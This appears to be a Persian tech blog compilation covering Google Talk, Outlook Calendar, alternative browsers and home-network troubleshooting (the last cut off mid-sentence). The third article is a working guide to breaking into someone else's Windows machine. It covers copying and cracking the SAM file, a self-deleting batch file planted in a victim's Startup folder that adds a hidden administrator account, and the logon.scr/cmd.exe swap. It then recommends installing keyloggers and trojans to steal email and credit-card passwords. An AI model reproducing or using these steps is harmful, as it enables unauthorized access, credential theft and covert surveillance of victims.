مطالب آموزشی و خبر

[007]

مشخصات گوگل تاک :
Sign in : گوگل تاک برای ورود از اکانت جیمیل استفاده میکند . همچنین دوستان شما با اکانت جیمیل در لیست اضافه می شوند. در ضمن هنگام نصب از شما میخواد که برنامه Gmail Notifier رو پاک کنید ، چون این برنامه خودش کار چک کردن ایمیل های شما رو انجام میدهد .
چت گفتاری : فقط با داشتن یک میکروفن و یک اسپیکر شما قادر به صحبت با دوستانتان در محیط گوگل تاک هستید. گوگل ادعا میکند که کیفیت صدای رد و بدل شده در بخش گفتگویی برنامه تاک از کیفیت صدای منشی تلفن شما بالاتر است.

اضافه کردن دوستان : برای اضافه کردن دوستان در لیست خودتان باید اکانت جیمیل آنها را در بخش invite وارد کنید . اگر دوستتان Gmail ندارد ایمیل معمولی او را وارد کنید . با اینکار یک دعوت نامه جی میل از دعوت نامه هایی که در جی میل خود دارید ، برای او ارسال میشود و او با عضویت در جیمیل، برنامه تاک را نیز میتواند دانلود کند و شما را به لیست دوستانش بیافزاید .
وقتی دوستی را در لیست اضافه کنید ، تا وقتی که او اجازه افزودن اسمش را در لیست شما نداده ، کلمه invite جلوی نام او در گوگل تاک شما دیده میشود .

Status : در این مسنجر در کنار اسم دوستانتان آیکون های رنگی ای دیده میشود که هر کدام معنی خاصی دارد و دوستانی هم که کنار اسمشون آیکون ندارند یعنی هنوز برنامه talk رو نصب نکرده اند .
معانی آیکون های رنگی کنار اسامی افراد بشرح زیر است :

* سبز : یعنی آنلاین
* زرد : یعنی بیکار (Idle)
* قرمز : یعنی مشغول (busy)
* طوسی : یعنی آفلاین

امنیت : متن مکالمات نوشتاری و مکالمات هنوز بصورت رمز نگاری شده (encrypted) رد و بدل نمی شود . اما طبق گفته گوگل در نسخه نهایی این برنامه ، تماس ها بصورت رمزنگاری شده در بین کاربران مبادله خواهند شد. توسط این مسنجر شما 3 امکان ارتباط با دوستان خود را در اختیار دارید :

1- گپ آنلاین

2-ارسال ایمیل با کلیک روی آیکون M برای دوستتان

3- تماس شنیداری با کلیک روی آیکون Å

این برنامه هنوز نسخه بتا است و فقط برای محیط ویندوز و به زبان انگلیسی ارائه شده است . اما گوگل بدنبال عرضه این مسنجر در محیط های همچون لینوکس و مکینتاش نیز است. همچنین امکان گفتگو با کاربران دیگر مسنجر ها از امکاناتی است که احتمالا در آینده به این برنامه افزوده خواهد شد.
نقاط ضعف برنامه تاک :امکان تغییر فونت در نسخه کنونی برنامه تاک و آفلاین گذاشتن برای دوستان هنوز فراهم نیست . در ضمن گوگل درباره استفاده از تصاویر ویدئویی وب کم هنوز صحبتی نکرده است و احتمالا این گزینه ها نیز در نسخه نهایی اضافه خواهد شد.
برای دانلود این برنامه به سایت گوگل در آدرس http://www.google.com/talk/ مراجعه کنید.

[007]

اگر مدیر یک شرکت هستید یا در اجرای زمانبندی کارهایتان در منزل با مشکل فراموشی مواجه میباشید چرا از قابلیتهای زمانبندی آوتلوک سود نمیبرید. این برنامه میتواند به شما کمک کند تا مسائل مهم را فراموش نکنید.

بخش تقویم یا کلند (Calendar) برنامه آوتلوک مایکروسافت در کنار توانمندیهای دیگری مانند ارسال و دریافت ایمیل، اطلاعات افراد و غیرو میتواند وقایع یک روز، یک هفته یا یک ماه را در یک زمان پیش روی شما نمایش دهد. به کمک بخش Calendar از برنامه Outlook قادر خواهید بود تا قرارهای ملاقات خود را تنظیم کنید و آنها را مدیریت نمایید.
همانطور که از دفترچه و کاغذ برای ثبت قرارهای خود استفاده میکنید این امکان پیش رویتان قار دارد تا بر روی ساعت مورد نظر در روزی خاص کلیک کنید و آنگاه شرح قرارتان را تایپ نمائید. تغییر رنگ باعث میشود تا بتوانید بسادگی زمان و روز جاری را از بقیه روزها تشخیص دهید.
کلندر دارای سه نوع ثبت وقایع مختلف بنامهای Appointments و Meetings و Events است. اما سئوالات زیادی دراینباره میشود که فرق بین Appointments و Meetings و Events چیست.
Appointments - قرار ملاقاتی است که فقط با یک نفر در تقویم (کلندر) تنظیم میکنید به نحویکه افراد دیگر در آن دعوت نمیشوند. این امکان برایتان وجودد دارد که یادآور برای این نوع قرار ملاقات تنظیم کنید و آنرا به نحوی تنظیم کنید که تکرار شود.
Meetings - قرار ملاقاتی است که با چند نفر تنظیم میشود. امکان ایجاد و ارسال دعوتنامه برای این قرار ملاقات وجود دارد. وقتی Meeting را تنظیم میکنید، افرادی که باید دعوت کنید را مشخص میکنید و سپس زمان را هم تنظیم مینمائید. پاسخ به این میتینگ در Inbox ایمیلتان ظاهر میشود.
Events - واقعه ای است که 24 ساعت یا بیشتر طول میکشد، مانند نمایشگاه، المپیک، تعطیلات یا سمینار. این وقایع معمولا یکبار اتفاق میافتد که یک روز یا بیشتر طول میکشد. وقایع سالیانه هم وجود دارد مانند تولد یا سالگرد ازدواج که سالی یکبار در یک زمان مشخص تکرار میشود. این وقایع زمان شما را در تقویم اشغال نمیکند بلکه در بنر (Banner) ظاهر میشود.



برای ایجاد قرار، روی Calendar در Folder List کلیک کنید تا سیستم روی Calendar تمرکز کند. سپس روی New کلیک کنید. سپس در صفحه باز شده، موضوع قرارملاقات را در Subject تایپ کنید. محل قرار را در قسمت Location تایپ کنید. زمان شروع و خاتمه قرار را در Start Time و End Time وارد کنید. اگر قرار در تمام روز است انتخاب All day event را برگزینید. در این مرحله میتوانید به سیستم بگویید که بشما یادآوری کند. انتخاب Reminder را انجام دهید. سیستم میتواند مدت زمان خاصی قبل از قزار، شما را مطلع نماید. این مقدار را در مقابل Reminder انتخاب کنبد. قسمت Show times as میتواند کنترل کند که تقویم، این قرار را چگونه نمایش دهد. مثلا قرارهای داخل دفتر شما میتواند با رنگ خاصی در تقویم مشخص شود. روی مثلث کوچک این قسمت کلیک کنید تا انتخاب مورد نظرتان مانند Free - Tentative - Busy - Out of Office را انجام دهید. هر عبارت مورد نظر را در بدنه پیام تایپ کنید.



یکی از قابلیتهای جالب Outlook مشخصه تکرار آنست. مثلا اگر قراری در دفتر خودتان هر دوشنبه از ساعت 8 تا 10 صبح برگزار میشود، سیستم میتواند بطور خودکار آنرا مرتب و هر هفته بشما یادآوری کند.
برای تکرار یک قرار ابتدا آنرا باز کنید. سپس روی Recurrence کلیک کنید. برای قرارهای جدید از منوی Actions انتخاب Recurrence را انجام دهید. سپس New Recurrence را انتخاب کنید. پترن مورد نظر را مطابق روزانه، هفتگی، ماهیانه یا سالیانه انتخاب کنید. حال میتوانید قرار را Save and Close کنید.
چگونگی نمایش تقویم میتواند از قسمت View انجام شود که میتواند Day - Work Week - Week - Month باشد.
اگر قصد پاک کردن یک قرار را دارید ابتدا آنرا باز کنید و در تولبار روی آیکون Delete که بشکل X است کلیک کنید. مورد پاک شده به فلدر Deleted Items منتقل میشود. برای پاک کردن این فلدر میتوانید روی آن کلیک راست کرده و عبارت Empty Deleted Items Folder را انتخاب نمائید.
برای ایجاد Meeting و اطمینان از اینکه تمام افراد حاضر در میتینگ به موقع به میتینگ میرسند میتوانید روی Action کلیک کنید و وقتیکه Calendar در Folder List هایلایت میباشد انتخاب Plan a Meeting را انجام دهید. پنجره ای ظاهر میشود. اگر طرفهای قرار از Outlook سود میبرند، نامشان را در ستون All Attendees تایپ کنید تا زمانبندیهایشان ظاهر شود. با کلیک روی Autopick Next بهترین زمان برای همه انتخاب میشود.

[007]

توجه : در این مقاله فرض می کنیم که فایل سیستم ویندوز NTFS است ).

برای این کار چند روش وجود دارد :

» روش اول :

در جایی که از شما UserName , Password پرسیده می شود کلید های Alt+Ctrl+Del را دو مرتبه همزمان فشار دهید . در قسمت UserName کلمه Administrator را وارد کرده و جای کلمه عبور را خالی بگذارید و Enter بزنید تا وارد ویندوز شوید ...

خوب این روش ساده بود اما همیشه کارساز نیست اگر برای Administrator آن کلمه عبوری قرار داده شده باشد ؟!!

به سراغ روش دوم میرویم :

» روش دوم :

1- ابتدا یک فلاپی Bootable می سازیم .

2- اغلب فایل سیستم ویندوز XP,2000 از نوع NTFS است و در محیط شبیه Dos که با فلاپی راه اندازی میشود شناخته نمی شود بنا براین ما برای این کار نیاز به برنامه هایی مثل NTFS4DOS ( دانلود : http://users.cjb.net/mojtaba/ntfs4dos.zip ) داریم.(این نوع برنامه ها امکان کار کردن با درایو هایی که فایل سیستم آنها Ntfs را در dos به ما می دهد.)

3- حالا که فلاپی آماده شد باید با آن سیستم را راه اندازی کرد... اما اگر در Setup سیستم تنظیم شده باشد که با فلاپی راه اندازی نشود ...؟!! آنگاه باید به سراغ Setup رفت و در آن تنظیمات لازم را انجام دهیم اگر Setup با کلمه عبور محافظت شود آنگاه باید به Bios ( مقاله نفوذ به بایوس : لینک مقاله بایوس ) نفوذ کنیم.

4- خوب پس از انجام مراحل فوق فلاپی را در فلاپی درایو قرار داده و سیستم را با آن راه اندازی می کنیم . و بر نامه NTFS4DOS را اجرا می کنیم تا به اطلاعات درایو های NTFS دسترسی داشته باشیم .

5- درایوی که ویندوز در آن نصب است را پیدا می کنیم و به مسیر زیر رفته :

%Windir%\System32\Config\

Example : c:\windows\system32\config

در این پوشه فایلی به نام * sam را در فلاپی کپی می کنیم.

( نکته : در ویندوز 2000 با پاک کردن این فایل دیگر کار تمام است و میتوان با Username: Administrator و بدون پسورد وارد شویم اما میتوان برای این که رد پایی باقی نماند از فایل Sam یک کپی داشته باشیم تا بعد از انجام کارمان در ویندوز با برگرداندن این فایل به جای قبلی آن رد پای خود را پاک کنیم و نام و پسورد کاربران به حالت قبل برگردد.)

از این مرحله به بعد برای Windows Xp بیشتر توصیه میشود :

6- بعد از کپی فایل با برنامه هایی نظیر L0phtCrack ,John the Ripper آن را کرک می کنیم تا پسورد را به دست آورد .

» روش سوم :

در این روش چهار مرحله اول روش دوم را انجام میدهیم.

1- دستورات زیر را در Notepad می نویسیم و در فایلی با نام و پسوند test.bat ذخیره میکنیم :




echo off@

net user administrator 123 /add

net localgroup administrator administrators /add

net user administrator 123

del test.bat

echo on@




2- بعد فایل مورد نظر را در فلاپی کپی کرده و به سراغ کامپیوتر قربانی می رویم و فایلی که در مرحله قبل ساخته ایم را در مسیر زیر کپی می کنیم(به فرض که ویندوز در درایو C نصب باشد و کاربری با نام MOJTABA مدیر سیستم باشد):

C:\Documents and Settings\MOJTABA\Start Menu\Programs\Startup

3- خوب حالا فقط کافی است که منتظر بمانید تا کاربر MOJTABA یک بار وارد شود دیگر تمام است و شما بعد از آن می توانید با نام کاربری Administrator و کلمه عبور 123 وارد سیستم شوید.

توضیح دستورات مربوط به فایلی که میسازیم :

در خط اول این دستور باعث مخفی شدن بقیه دستورات در حال اجرا از دید کاربر می شود.

در خط دوم ما یک کاربر بانام Administrator و کلمه عبور 123 می سازیم .(این عمل برای این صورت می گیرد که ممکن است نام Administrator را تغییر داده باشند).

در خط سوم کاربری را که در خط قبل ساخته ایم را به عنوان سرپرست (ادمین) سیستم قرار میدهیم.

در خط چهارم احتمال می دهیم که نام Administrator را تغییر داده نشده باشد . پس ما فقط پسورد آن را عوض می کنیم.

در خط پنجم برای از بین بردن رد پا فایلی را که ساخته ایم را پاک می کنیم.

در خط ششم هم حالتی را که دستور خط اول ایجاد کرده بود به حالت اول بر می گردانیم.



نکته : توجه کنید که به جای کاربر Administrator و کلمه عبور 123 هر کاربر یا کلمه عبور دیگری می توانید قرار دهید اما این کاربر کمتر باعث شک می شود .

روش چهارم :

استفاده از برنامه Windows XP / 2000 / NT Key است . نسخه آزمایشی این برنامه را می توانید از اینجا دریافت کنید.

» روش پنجم ( البته این روش را من پیدا نکردم اما اشکالات آن را رفع کرده ام)

تا مرحله 4 را انجام می دهیم حالا در Dos هستیم و دستورات را جلوی خط فرمان می نویسیم .

الف - ابتدا به درایوی می رویم که در آن ویندوز نصب شده است .برای مثال فرض کنیم در درایو C نصب باشد دستور زیر را اجرا می کنیم :
:c

ب - Windows/System32 میرویم .و در آنجا کارهای زیر را انجام می دهیم :
با دستور : cd windows/system32

پ - یک پوشه ایجاد می کنیم با دستور زیر :
md hack

ت - حالا دو فایل cmd.exe و logon.scr را به این پوشه کپی می کنیم تا یک نسخه پشتیبان از این فایل ها داشته باشیم با اجرای دستورات زیر :
copy cmd.exe hack
copy logon.scr hack

ث - حالا فایل logon.scr را پاک می کنیم :
del logon.scr

ج - حالا فایل cmd.exe را به logon.scr تغییر نام می دهیم :
ren cmd.exe logon.scr

حالا کافی است کامپیوتر را ریستارت کنید .
بعد از این که ویندوز بالا آمد ، اگر توجه کنید چند دقیقه که صبر کنید در حالت عادی Screen saver Logon.scr به اجرا در می آید اما با این دستکاری که ما کرده ایم Cmd.exe به اجرا در می آید حالا می توانید کاربر جدید ایجاد کنید و یا کلمه عبور را عوض کنید .
برای ایجاد حساب کاربری از دستور زیر استفاده می کنیم :

net user Mojtaba 123 /add

این دستور یک حساب کاربری با نام Mojtaba و کلمه عبور 123 ایجاد می کند.
برای این که این کاربر را مدیر(Administrator) قرار دهیم دستور زیر را انجام می دهیم :

net localgroup Mojtaba administrators /add

حالا اگر یک حساب کاربری موجود باشد و بخواهیم پسورد اون رو عوض کنیم دستور زیر را انجام می دهیم :

net user Ali 123

این دستور بدون این که پسورد قبلی کاربر Ali را از ما بخواهد پسورد اون رو به 123 تغییر می دهد.

ضمنا بعد از ورود به سیستم فایل هایی که در پوشه hack کپی کرده ایم را به جای قبلی برگردانید و پوشه hack را پاک کنید تا ردی باقی نماند .

-------------------------------------------------------------------------------------------------
نتیجه :

حالا که به عنوان مدیر وارد سیستم شدیم چه کارهایی می توانیم انجام دهیم .

اول این که می توانید به اطلاعات سیستم دسترسی پیدا کرده و ...

دوم این که توصیه می شود یک برنامه جاسوسی مثل XpSpy ها ویا Key Logger ها نصب کنید تا تمامی پسورد های ایمیل ها و کارتهای اعتباری و ... و وب سایت های که سر می زند و حتی کلماتی که چت می کند و ... را بدانید ( در آینده نه چندان دور مقاله ای در مورد برنامه های جاسوسی خواهم نوشت ).

سوم این که میتوانید یک تروجان روی کامپیوتر قربانی نصب کنید و بقیه اش رو خودتون میدونین ...

چهارم این که می توانید کامپیوتر او را طوری پیکر بندی کنید که به شما اجازه ریموت کردن را بدهد و با یک تروجان آی پی اون رو به دست آورید و اون را کنترل کنید .

پنجم ...

توصیه های مهم :

1- از دسترسی افراد نامطمئن به سیستم خود جلوگیری کنید .

2- حداقل کاری که میتونین انجام بدین این است که سیستم شما با CDو یا Floppy بوت نشود و Bios خود را با کلمه رمز محافظت نمایید.

3- همیشه از کلمات عبور پیچیده که مخلوتی از حرف و عدد و علائم ویژه باشد استفاده کنید . مثلا کلمه عبور X@#%Übps خیلی بهتر از کلمه عبور spssstudioworks است . این کار حداقل کرک کردن پسورد شما را طولانی میکند.

4- LM Hash را غیر فعال کنید . برای این منظور به کنترل پانل رفته و Local Security Policy را از Administrative Tools را اجرا کرده و به پوشه Security Option از پوشه Local Policies رفته و در آنجا Network Security : Do not Store LAN Manager hash value on next password change را Enable کنید سپس پسورد ادمین را عوض کنید.

5- نام کاربری Administrator وGuest را حتما تغییر دهید و برای آنها کلمه عبور قرار دهید .

6- اگر به کاربر Guest نیازی ندارید آن را غیر فعال کنید .

7- هر چند وقت یکبار پسورد خود را عوض کنید.

8- کاربران خود را هر چند وقت یکبار چک کنید تا از موارد مشکوک مطلع شوید.

ا

[007]

چگونه از برازرهای دیگر بغیر از اینترنت اکسپلورر مانند "اپرا" و "فایرفاکس" در کنار آن استفاده کنیم؟ برای وبگردی و یا گشت و گذار در وب نیاز به یک برازر دارید. اغلب شما احتمالا از اینترنت اکسپلورر مایکروسافت بعنوان برازر برای وبگردی استفاده میکنید. حدود 95 درصد افرادی که با ویندوز از اینترنت استفاده میکنند، اینترنت اکسپلورر را به خدمت گرفته اند. اما برازرهای دیگری هم وجود دارد. سایت کامتونت http://www.cometonet.com در این مطلب بشما نشان میدهد که چگونه به آسانی میتوانید از برازر های دیگر حتی در کنار اینترنت اکسپلورر استفاده کنید.
اما چه نیازی به برازر جدید است؟ برای پاسح به این سئوال، اگر مسئله سلیقه ای را کنار بگذاریم باید گفت که نقاط ضعف امنیتی فراوانی که مدتی است برای اینترنت اکسپلورر افشا شده است، همگان را به سمت برازرهای دیگر کشانده است. برازرهایی که امکاناتی جدید و جالب هم دارند. امکاناتی مانند اینترفیس tab دار که بشما امکان میدهد تا در سریعترین زمان ممکن به صفحات دیگر دسترسی پیدا کنید. داشتن یک منو که با صدا کار میکند هم میتواند جالب باشد. این مسائل باعث شده است تا برازرهایی مانند اپرا و فایرفاکس بتوانند در مقابل اینترنت اکسپلورر قد علم کنند.
استفاده از برازر جایگزین ساده است. ابتدا باید برازر مورد نظرتان را از وب سایت سازنده بردارید و آنرا در کامپیوتر خود نصب کنید. در اینجا سه برازر جایگزین برای اینترنت اکسپلورر را معرفی میکنم.


Firefox: http://www.mozilla.org/products/firefox
Opera: http://www.opera.com
Netscape: http://browser.netscape.com/ns8



فقط کافیست به وبسایت هرکدام که میخواهید رفته و ضمن پیروی از دستورالعملها، برازر را برداشته و در کامپیوتر خود نصب کنید.
در خلال نصب، برازر جدید متوجه حضور اینترنت اکسپلورر در کامپیوتر شما خواهد شد و سئوال میکند که "آیا میخواهید اطلاعات موجود در favorites و سایر اطلاعات را از اینترنت اکسپلورر به برازر جدید منتقل کنید". اغلب برازرهای جایگزین به شما کمک میکنند تا بتوانید بین اینترنت اکسپلورر و سایر برازرها رفت و آمد کنید.


وقتی اپرا، نت اسکیپ یا فایرفاکس را نصب میکنید، انتخابی برای وارد کردن (import) اطلاعات اینترنتی هم دارید. اپرا میتواند boomarks و favorites و cookies و سایر دیتا ها را از اینترنت اکسپلورر فراهم کند. این امکان برای برازرهای مختلف هم کاربرد دارد. مثلا اگر از اینترنت اکسپلورر به نت اسکیپ بروید و سپس تصمیم بگیرید به اپرا وارد شوید، میتوانید اطلاعاتتان را از اینترنت اکسپلورر به نت اسکیپ برده و بسادگی آنها را به اپرا منتقل کنید. اینکار با پیروی از دستورالعملهای زمان نصب انجام میشود.
برای بهره گیری از برازرهای مختلف نیازی به برداشت (uninstall) اینترنت اکسپلورر ندارید. در حقیقت بهتر است اینترنت اکسپلورر را در سیستم خود حفظ کنید. برداشتن اینترنت اکسپلورر کاری مشکل است، ضمن آنکه احتمالا بعدا به آن نیاز پیدا میکنید. یادتان باشد که اینترنت اکسپلورر تنها برازری است که میتواند شما را به سایت بروز رسانی ویندوز (windows update web site) وصل کند. بعضی از وب سایتها هم به دلیل اهمیت اینترنت اکسپلورر، سایت خود را برای این برازر طراحی کرده اند. هنگام بهره گیری از برازرهای دیگر شاید نتوانید بعضی از وب سایتها را بخوبی ببینید.
داشتن چند برازر در یک کامپیوتر، مشکلی ایجاد نمیکند. وقتی اولین بار از یک برازر جدید استفاده میکنید از شما سوال میکند که آیا میخواهید این برازر را به عنوان پیش فرض (default) انتخاب کنید. برازر پیش فرض برازری است که با کلیک روی هر لینک در هر ایمیل یا سندی، باز شده و صفحه را به شما نشان میدهد. اگر به این سئوال پاسخ منفی بدهید، هر نوبت که برنامه را باز میکنید، همین سوال تکرار میشود. برای رهایی از این سئوال به متنی که در کنارش یک کادر کوچک قرار دارد و همراه این سئوال ظاهر میشود توجه کنید که میپرسد "اگر نمیخواهید این سئوال را ببینید، (بسته به سئوال) روی این کادر کلیک کنید. در اپرا این متن میگوید:
Do not show this dialog again
و در فایر فاکس:
Always perform this check when starting firefox

هر زمانی که نخواستید به کار با برازر جدید ادامه دهید میتوانید به اینترنت اکسپلورر برگردید. به کمک تنظیمات import و Export در هردو برازر میتوانید Favorites یا کوکیها را به اینترنت اکسپلورر منتقل کنید. کافیست اطلاعات را از برازر در حال مصرف Export کرده و به برازری که قصد کار با آن دارید import نمایید. در برازر خود روی انتخاب file کلیک کنید و Import/Export را انتخاب نمایید.
اغلب برازرها برای اینکار از امکان ویزارد استفاده میکنند که قدم به قدم شما را راهنمایی میکند. بعضیها مانند فایر فاکس، کار وارد کردن اطلاعات را ساده کرده اند اما خارج کردن اطلاعات مشکل است. قسمت Help هر برازر میتواند در این رابطه بشما کمک کند.
اگر عادت به استفاده از اینترنت اکسپلورر دارید، برداشت و استفاده از برازر جدید، قدم بزرگی محسوب میشود. هرچند اغلب این برازرها شبیه اینترنت اکسپلورر هستند اما در هر صورت باید مدتی وقت صرف کنید تا به این محیط جدید عادت کنید. شاید در درجه اول بعضی قابلیت ها مانند برازرهای tab دار (فایرفاکس) روشن نباشد. وب سایت سازنده برازر هم میتواند اطلاعات مفیدی در اختیارتان قرار دهد.

[007]

حتما گاهي*اوقات به هنگام راه اندازي شبكه خانگي يا شبكه كوچك تجاري خود براي اولين بار با مشكلات متعددي مواجه شده ايد. بسياري از اين مشكلات به سادگي برطرف مي شوند. اما به شرط آن كه قبلا” با راه حل ها آشنا شده باشيد،پس در اين ماه چند مرحله اصلي عيب يابي و نيز چندين ابراز موجود براي يافتن مشكلات پشت صحنه را شرح خواهم داد.

اول،اتصال پذيري
شايد بديهي به نظر برسد،اما در قدم اول بايد مشخص شود كه آيا همه كامپيوترها،سرويس دهنده ها،چاپگرها و ديگر دستگاه هاي متصل به شبكه مي توانند با يكديگر ارتباط برقرار كنند يا خير. براي اين منظور،در شبكه باسيم بايد مطمئن شد كه ميان هر دستگاه و هاب يا سوييچ مركزي يك كابل ارتباطي مطمئني داشته و به ترتيب درستي متصل شده باشند،چرا كه در صورت وجود دو نوع كابل شبكه مختلف،اتصال نادرست مشكل ساز مي شود. اكثر كابل هاي مدرن UTP (جفت هاي تابيده بي حفاظ) اتصال دهنده هايي دارند كه در هر دو انتها به يكديگر متصل مي شوند. در خود اين اتصال دهنده ها،چندين سيم مجزا هست كه ممكن است به همان پين هاي اتصالي در همان انتها وصل شوند يا به صورت ضربدري اتصال يابند. كابل هاي مستقيم،يك كامپيوتر شخصي،سرويس دهنده يا ديگر وسايل شبكه را به وهاب يا سويچ متصل مي كنند. كابل هاي ضربدري،اتصال دو كامپيوتر شخصي به يكديگر را ممكن مي سازند و در اتصال سريالي يك هاب يا سو ييچ به هاب يا سوييچ ديگر كاربرد دارند. استفاده غلط از كابل ها(كه غالبا” هيچ علامتي هم ندارند)باعث مي شود سيگنال ها به مقصد نرسد. اگر به ترتيب رنگ هاي اتصال يك كابل اطمينان نداريد،ساده ترين راه وصل كردن كابل مذكور و سپس بررسي LED اتصال در آداپتور يا انتهاي سوييچ است. اكثر كابل ها يك LED (ديود نوري) كوچك سبز رنگ دارند كه در صورت برقراري اتصال ،غالبا” قبل از روشن شدن دستگاه،روشن مي شود. در بعضي كابل ها اين ديود نوري به دو رنگ زرد يا نارنجي در مي آيد تا اتصال 100 مگابايت در ثانيه يا گيگابايت باشد (در بعضي ديگر ،چراغ هاي راهنماي 100 مگابايتي جداگانه اي وجود دارد.)اما اگر هيچ نوري به چشم نخورد،مطمئنا” كابل نادرستي را به كار برده ايد. در اين صورت چاره ي كار تعويض كابل است ،هر چند در برخي از سوييچ ها، دگمه هايي در كنار پورت هاي خاص (معمولا” با علامت ”Uplink ”)وجود دارد كه امكان استفاده از يك كابل مستقيم براي برقراري اتصال با هاب يا سوييچ ديگر را فراهم مي كند. برخي از جديدترين سوييچ ها مي توانند به طور خودكار كابل هاي مورد استفاده را بررسي كنند و از داخل ترتيب رنگ هاي پورت را به شكلي مناسب تغيير دهند.

LED چشمك زن؟
در برخي از موارد ممكن است LED اتصال به عوض آنكه دائما” روشن باشد،چشمك بزند. حالت اخير به اين معناست كه فعاليت هايي در اين خط ارتباطي انجام شده اما در نصب پورت ناسازگاري هايي وجود داشته است. مثلا”فرض كنيد كه آداپتور كامپيوتر شخصي روي 100 مگابايت در ثانيه و پورت سوييچ روي 10 مگابايت در ثانيه تنظيم شده باشد. خوشبختانه در حال حاضر تقريبا” تمامي وسيله ها،به منظور اجتناب و عدم سازگاري سرعت در دو طرف از تشخيص خودكار (auto Sensing ) سرعت پورت و نصب دو طرفه پشتيباني مي كنند. با اين حال در هنگام استفاده از وسايل كارخانه هاي مختلف به مشكلاتي برخورده ام كه تنها با تنظيم دستي پارامترهاي فوق بر طرف مي شود.

اتصال هاي بي سيم
بررسي اتصالات بي سيم اندكي سخت تر است،چونكه برقراري اتصال،نشانه ي مشخصي ندارد. با اين حال،در كنار اكثر آداپتورهاي بي سيم،نرم افزارهايي به بازار عرضه شده كه برقراري اتصال را به شما اعلام مي كند و فارغ از فروشنده مربوطه با تسهيلات مشابهي در ويندوز xp عرضه مي شود. براي عيب يابي اتصالات بي سيم،در وهله نخست مطمئن شويد كه كليه گزينه هاي امنيتي يا رمز گذار،غير فعال شده اند. سپس اطمينان يابيد كه آداپتور روي حالت صحيح تنظيم شده باشد. اكثر آداپتورها يك حالت ”ad hoc ”(موقت)براي اتصال دو وسيله همانند دارند و براي كاربرد در يك نقطه ي دستيابي (access point ) به پيكر بندي جداگانه اي مجهز هستند. حالا مطمئن شويد كه در سراسر شبكه از يك كانال و SSID واحد (ID مجموعه سرويس دهنده كه Lan بي سيم را شناسايي مي كند)استفاده مي شود. بالاخره من كامپيوتر شخصي مورد آزمايش را تا حد امكان به ديگر وسايل ارتباطي نزديك مي كنم تا اثرات مسافت يا تداخل را خنثي كنم.

پيكر بندي IP
بعد از اينكه ثابت كرديد وسايل شما به لحاظ فيزيكي به يكديگر متصل هستيد،در قدم بعد مطمئن شويد كه آنها مي توانند با يكديگر ارتباط برقرار كنند. در اكثر شبكه هايي كه با TCP\IP كار مي كنند،براي برقراري ارتباط بايد نشاني IP يگانه اي به تك تك وسيله ها اختصاص يابد. نشاني ها را مي توان به صورت دستي پيكر بندي نمود،اما بهتر آن است كه از پروتكل پيكربندي ديناميك ميزبان (DHCP )استفاده شود كه در آن يك سرويس دهنده DHCP ،نشاني هاي IP را از محل يك مخزن تعيين شده،توزيع مي كند. به اين ترتيب هيچ وقت دو يا چند سيستم،نشاني هاي يكساني نخواهند داشت. بيشتر مسيرياب ها و پل هاي ارتباطي،يك سرويس دهندهDHCP داخلي دارند. همچنين مي توان سرويس دهنده ويندوز را طوري پيكر بندي نمودكه اين عمليات را انجام دهد و پس از پيكربندي نياز به كا رديگري نداشته باشد. باتمام اين حرف ها ممكن است اشتباهاتي رخ دهد هنگامي كه مشكلي پيش آمد در ابتداي كار عيب يابي،مطمئن شويد كه نشاني هاي درستي به كار رفته است. تمامي كارهاي فوق را مي توان با استفاده از برنامه خدماتي ipconfig موجود در ويندوز و از طريق يك پنجره فرمان در كامپيوتر شخصي يا سرويس دهنده آزمايش نمود. در هر پنجره فرمان،ipconfig را تايپ كنيد تا نشاني IP اختصاص يافته به هر رابط شبكه را ببينيد. با اضافه كردن”\all ”به انتهاي فرمان،ديگر اطلاعات شبكه همچون نشاني MAC ،نشاني سرويس دهنده DHCP به كار رفته و پل ارتباطي پيش فرض و نشاني هاي DNS به نمايش در مي آيد،اطلاعاتي كه در هنگام اشكال زدايي از شبكه مي تواند مفيد واقع شود. اگر تنظيمات DHCP را تغيير داده ايد اما كامپيوتر شخصي يك سرويس گيرنده هنوز آن را اعمال نكرده است،مي توانيد با اضافه كردن”\release ” به فرمان ipconfig ،كامپيوتر مذكور را وادار نماييد كه به استفاده از نشاني جديد،با اضافه كردن ”renew ” به انتهاي فرمان،ipconfig را دوباره اجرا كنيد. در سيستم هاي قديمي تر ويندوز 95 ،خط فرمان برنامه ipconfig ،جاي خود را به نرم افزار خدماتي و گرافيكي winipcfg داده است. چنانچه ا زسيستم عامل لينوكس استفاده مي كنيد،فرمان ifconfig را به كار ببريد. چنانچه ipconfig هيچ نوع نشاني را به نمايش نگذارد،اين احتمال هست كه سرويس دهنده DHCP ،غير فعال يا غير قابل دسترسي باشد.اين احتمال هم وجود دارد كه كامپيوتر شخصي يا سرويس دهنده،طوري پيكربندي نشده باشد كه بتواند با استفاده از DHCP به نشاني يابي خودكار خود دست يابد. در اين وضعيت كافي است تنظيمات كامپيوتر مشخصي را تغيير دهيد. در برخي از سيستم هاي ويندوز ممكن است به نشاني هايي برخورد كنيد كه با 169 شروع مي شود (169.***.***.*** )و اين در صورت است كه تخصيص خودكار پيكربندي شده اما هيچ سرويس دهنده DHCP وجود ندارد،اما از لحاظ عيب يابي بايد آن را يك خطا به حساب آورد.

Ping اصلي كاري است
يكي ديگر از ابزارهاي اصلي براي عيب يابي،نرم افزار خدماتي ping است كه آن را در پنجره فرمان تايپ مي كنيد و اين بار در انتهاي آن،نشاني IP يا نام DNS ديگر سيستم هاي دلخواه خود براي برقراري ارتباط را اضافه مي كنيد. بعضي از مسيرياب ها و ديگر وسايل شبكه امكان صدور فرمانهاي ping را هم فراهم مي كنند. در هر دو حالت مجموعه اي از بسته هاي ارتباطي ICMP (پروتكل كنترل پيام اي اينترنتي )به نشاني مورد نظر فرستاده مي شود. اگر سيستم هدف پاسخ دهد مدت زمان لازم براي مجموع رفت و برگشت مشخص خواهد شد. در اين شكل،هدف اول (192.92.195.222 ) در شبكه LAN است و بسيار سريع (با سرعت يك متر بر ثانيه) پاسخ مي دهد. هدف دوم (192.92.195.222 )يك سرويس دهنده DNS عمومي (در اين مورد،Free )است و مدت زمان بيشتري مي طلبد. اگر هيچ پاسخي در كار نباشد يا كامپيوتر ميزبان غير قابل دسترسي است و يا قبل از دريافت پاسخ،مدت مهلت زماني به پايان رسيده است. در هر صورت ايراد كار مشخص نمي شود اما كاربرد ping ،سرنخ هاي مهمي را به همراه مي آورد. من،در عيب يابي مشكلات اتصال به اينترنت،قبل از همه پل ارتباطي پيش فرض را با ping بررسي مي كنم. اگر پل ارتباطي پاسخي ندهد،احتمالا” مشكل در همين قسمت است يعني يا مسير ياب از كار افتاده و يا خط ارتباطي غير فعال است. اما اگر بتوانيم پل ارتباطي را ping كنم،سپس يك نشاني اينترنتي را ping مي كنم (براي 